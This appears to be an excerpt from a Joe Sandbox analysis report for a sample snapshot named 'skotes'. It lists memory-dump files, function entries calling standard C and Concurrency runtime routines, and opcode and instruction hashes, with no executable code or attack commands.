Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 1a20e91ead763d9f4783929228b5bc3184992d4db161435276a2fc84a70ff48d
Instruction ID: fd18b533f9248ad5e9ee1751707c77464fe2bba3ea6183e4c25a987ace0e0c3c
Opcode Fuzzy Hash: 1a20e91ead763d9f4783929228b5bc3184992d4db161435276a2fc84a70ff48d
Instruction Fuzzy Hash: 9FF05935A00A44A3C720FB55EC93C9EB3B89EA1710B908129E50513181DB70BA06C692

Function 001FCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001FCC66

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 263283f7cebd87393a40177ac513447a0f7b0857f593a95b86d5b4b62f1534b2
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 71B1123290068E9FDB15CF68C9817BEBFA5EF55340F15416AEA45EB282D7348D02DBE0

Function 001F504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001F5115
___AdjustPointer.LIBCMT ref: 001F5138
___AdjustPointer.LIBCMT ref: 001F51D4

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 353b1de46c63878d478d572052ec30692a206a216376991edc7a669d9762bdaf
Instruction ID: 92d0ae1af31eba541a6495abb5b3e6751f0b2d06002ab247fb862b29a0e4da3e
Opcode Fuzzy Hash: 353b1de46c63878d478d572052ec30692a206a216376991edc7a669d9762bdaf
Instruction Fuzzy Hash: 3351C372609A0EAFDB29CF14D881BBA77A6EF20310F14452DEB1687291EB31FD41C790

Function 001F4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 001F4C66
TypeidsEqual.LIBVCRUNTIME ref: 001F4C8B
PMDtoOffset.LIBCMT ref: 001F4CA1
PMDtoOffset.LIBCMT ref: 001F4D22

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 28f1c4ee464d11283f2ac132ca64b7e1a1bfbde3f4267d8f6f9dc89c47837b7f
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 3F518839A0424D9FDF25CFA8C4806BFBBF5EF25354F14449AEA51A7351D332AA05CB90

Function 001C2EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001C2F5F
GetCurrentThreadId.KERNEL32 ref: 001C2F7E
__Mtx_unlock.LIBCPMT ref: 001C2FCC
__Cnd_broadcast.LIBCPMT ref: 001C2FE3

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 52e43b4a8c9e71869e673bd4d8fedd668775720c63566147cf4dfd9e3044da56
Instruction ID: 409ea1188ec5816bfec690b33934402371608e451efbd87a170a9649949dce4b
Opcode Fuzzy Hash: 52e43b4a8c9e71869e673bd4d8fedd668775720c63566147cf4dfd9e3044da56
Instruction Fuzzy Hash: FD41C1B19006059BDB20DF64C944B5AB7E8FF24320F10452EE816D7750EB35EA15CBD1

Function 001EDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001EDB64

Part of subcall function 001E8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 001E8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 001EDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 001EDBE9
Concurrency::location::_Assign.LIBCMT ref: 001EDC56

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
